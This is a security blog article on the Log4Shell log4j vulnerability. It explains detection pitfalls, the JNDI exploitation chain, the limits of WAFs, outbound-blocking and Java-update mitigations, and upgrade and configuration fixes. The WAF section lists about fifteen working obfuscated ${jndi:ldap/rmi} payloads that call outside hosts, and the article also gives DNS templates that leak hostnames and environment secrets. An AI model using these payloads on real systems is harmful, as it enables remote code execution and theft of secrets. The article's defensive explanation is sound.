Many security specialists, administrators and developers, have struggled with the consequences of the disclosure of the Log4Shell (CVE-2021-44228) vulnerability over the weekend. They are well aware of the enormity of the problem and the complications associated with remediation. Through this article, we want to bring it to the attention of the rest of you.
The log4j library vulnerability problem is characterized by two basic properties - the hidden ubiquity of the library and false negatives in detection and testing.
The library pervasiveness problem itself is probably best described by the following tweet:
Did you know that Ingenuity, the Mars 2020 Helicopter mission, is powered by Apache Log4j? – TheASF
The list of identified vulnerable products continues to grow, as do the [statements from manufacturers and developers] (https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592). Confirmations of product vulnerabilities for large companies alone are slowly coming in, interim solutions for identified vulnerable products even slower, and patches for the products themselves are “on the way”. In this case, a good example is vmware where the vulnerability affected a large number of products that represent an important part of the infrastructure, and despite a lot of effort, the road to remediation will still take some time. For example, if you use VCenter with SSO login, you should not hesitate.
The problem of identifying vulnerable components also has multiple levels of problems and should never be used as the only method of testing.
Currently, the most common method of testing (as well as exploitation) is to insert malicious code into HTTP request headers (most commonly User-Agent), which are semi-automated but use simple scripts such as log4j-scan.
This method is very convenient for mass exploitation, as attackers are interested in running malicious code on as many devices as possible, similar to what testers (or bug bounty hunters) do.
For the actual identification of the vulnerable system, as well as real confirmation of the possibility of exploiting the vulnerability, real execution of the code on the system is required. It is not possible to determine which system or application is the originator from the received DNS request alone. An exception that can be used to identify the source system is to modify the test code and embed the name of the source machine (hostname - ${hostName}.${env:COMPUTERNAME}) in the queried LDAP path, possibly via a DNS query (${jndi:dns://<dns server>/<TXT record query string>}).
Although the malicious code is embedded in a request to a web application that is accessible from the Internet, this does not mean that the web application itself is vulnerable, nor does it mean that execution of the code from a single request occurs in only one location. In an unfortunate set of circumstances, a single request can execute the code multiple times in applications processing web requests, evaluating logs, or storing data.
Also, the actual response to a test request may not be executed immediately during testing. It may be after several hours of response time, for example, when application data or paradoxically logs are periodically processed by other applications or systems for the purpose of analytics, bugs, or paradoxically, attacks.
This test scenario also does not take into account the fact that specific conditions are required for the vulnerability to manifest (logging of input). This could be, for example, the triggering of an application error.
It is also important to note that in this case, web applications are not the only input for malicious code. Other types of network services are also vulnerable, as well as the applications that process their data or log records. Services such as SMTP or SSH can be equally effective inputs that cause vulnerabilities to manifest themselves in a SIEM system for example.
It’s already too late!
The vulnerability is being actively exploited on an unprecedentedly large scale. Several large botnets are already exploiting the vulnerability with the intention of making it spread. Due to the very effective worm-ability of this vulnerability, it is very likely that it is only a matter of days before the first self-propagating worm appears.
It is also a good idea to adopt a “the attack has already happened” mentality in advance, as the mass exploitation started only hours after the vulnerability was disclosed. However, individual attempts to exploit it had already appeared 9 days before the disclosure according to CloudFlare.
Your approach should assume that every java application on your network is vulnerable. You should not wait for confirmation or patching from the manufacturer or developer. In other words, you should apply temporary fixes immediately. They should not impact the functionality of the application and are generally good “hardening” and good security practices.
The current focus is mainly on web services that are accessible from the Internet, and secondarily, internal web services. This is understandable and correct, as they represent the most critical part. However, this is only the beginning in terms of the scale of the problem. It is really only the tip of the iceberg. The well-known statement 3 Billion Devices Run Java is currently taking on a whole new dimension. If you’re getting chills, you’re reacting correctly. The often-neglected safety recommendation - to keep a catalog of software in use, and in the case of application development, a catalog of libraries used - now makes people’s jobs a lot easier.
It’s important to remember that even if the application itself is not vulnerable in the factory configuration, when the configuration is changed, the vulnerability may become apparent - confluence. Extensions used in the application may also be vulnerable - Jenkins.
Applications that are accessible from the Internet provide a gateway to internal systems. For example, they serve as an entry point to SIEM.
Not to be forgotten are also systems where the risk may not be immediately obvious, such as server monitoring SAM - Server & Application Monitor, or (wifi) infrastructure management UniFi.
The vulnerability does not only affect web applications and web management. The vulnerability itself is also present in traditional “desktop” applications and does not bypass security tools Ghidra Software Reverse Engineering Framework.
The most accurate system for identifying vulnerable components is currently a systematic scan of the file system (including application archives) of servers (or workstations) for the presence of a library in the log4j-*.jar format.
Vulnerable library versions are in the range 2.0-beta9 to 2.14.1. The patched version of the library is 2.15.0.
If using log4j v1, it is also recommended to upgrade to 2.15.0 as this branch is vulnerable to other forms of this type of attack.
If you are using a file integrity checking system, the list of hashes of vulnerable library versions, available on GitHub CVE-2021-44228-Log4Shell-Hashes, might make your search easier.
If you need to quickly and easily test your applications using the vulnerable code in the HTTP request header, it is possible to use, for example, log4j-scan.
You can use a third-party DNS logging server dnslog.cn, however, this passes the list of vulnerable servers to a third party. It is better to use a DNS server that is under your control. Alternatives are canarytokens.org or burpcollaborator.net .
For an automated identification of vulnerable dependencies, a scanner from Lunasec can be used
Update to version 2.16.0. Apply configuration changes. Abuse is dependent on communication to the Internet which should never be possible for production systems.
To correctly understand the problem and then consider effective remedies, it is necessary to at least conceptually describe how the vulnerability exploitation takes place. This is illustrated in the figure below. For a more detailed technical description, we recommend the following article by Fastly.
Source: randori
After the attacker’s input is logged, the application contacts the attacker-specified server via the ldap protocol (the attacker may specify a non-standard port) in an attempt to retrieve information about the requested object and subsequently the java class itself. If successful, the java code defined by the attacker is executed in the context of the application user.
Not all recommendations are effective solutions to the problem on their own.
The infographic below represents the recommendations of the Swiss CERT. At first glance, it may tempt the reader into thinking that using a WAF to block the delivery of the initial attack vector, i.e., the actual text string to force the vulnerability, represents an effective solution to the problem.
WAF is just a patch
However, it isn’t. As with all web applications, a WAF is only a supplementary protection - not a solution to the problem. Using WAF to identify a text string was definitely a good idea in the early moments of abuse, as it is universally easy and quick to apply. However, this is where all the advantages end, as detection is based on identifying a particular form of the text string that can always be bypassed by obfuscation (a different variant of the notation) that is not recognized by the system. This started to happen within the first few hours, and for example, we have presented a few of the obfuscated variants used. These can of course be combined in different ways making effective detection impossible.
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
zdroj: ZephrFish
It should also be remembered that HTTP requests represent the most efficient, but not the only channel for delivering the initial malicious code (network services, files, etc).
New Java doesn’t solve everything
Updating Java to the latest version, as well as setting com.sun.jndi.ldap.object.trustURLCodebase=false is quick, but not a complete solution to the problem (it is still possible to load java classes locally) nor a final one. It is likely that over time, a way to exploit the vulnerability will be found on newer versions of Java. You should therefore not solely rely on this option.
Modifying log templates is not a conceptual solution
Although modifying the format of log templates from %m to %m{nolookup} prevents exploitation of the vulnerability, this method of addressing the problem is not a conceptual solution. The reason is that some of the occurrences may be overlooked which is a case that may be missed when updating the application in the future (using a classic template).
Blocking outgoing connections is essential but does not solve everything
Communication with a server that is under the control of an attacker, in order to download a malicious java class, is a prerequisite to exploit the vulnerability. Production servers should never be able to initiate connections to the Internet (except for explicitly allowed trusted targets). We can probably all agree on this basic practice. Although blocking connections makes it impossible to exploit a vulnerability on a given system, one must think of possible exceptions and extreme situations.
Although such a strict policy tends to be the rule for production systems for development and test environments, as well as devices in user segments, such policies are usually not enforced. These are the ones that may represent the gateway into your organization and the most suitable target for potential malware (ransomware) attacks.
An often-overlooked risk is also that cloud services such as AWS sometimes hold private keys or other sensitive information in variable environments. Even if the system is unable to open connections to the Internet, attackers are still able to exfiltrate such data {held in ${env}} via DNS by, for example, calling ${jndi:dns://<dns server>/<TXT record query string>}.
Also keep in mind that although the current vulnerability is being exploited over the Internet, which poses the greatest risk, over time (and for a long time to come) it will be exploited from local networks.
Update to version 2.15.0
Updating the log4j library to version 2.15.0 is the best and complete solution. The version is available at Apache Download.
Configuration Settings
This is done by setting the formatMsgNoLookups=true option in the log4j configuration.
However, this option is only available from 2.10.0 onwards, in the patched version 2.15.0 it is already enabled by default.
You can force this option in several ways.
You can pass this as an argument when you invoke java.
java -Dlog4j2.formatMsgNoLookups=true ...LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ..JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=trueAn English version describing possible solutions to the vulnerability can be found on the blog Lunasec A more detailed technical description of the vulnerability and possible exploits can be found on the blog Fastly.
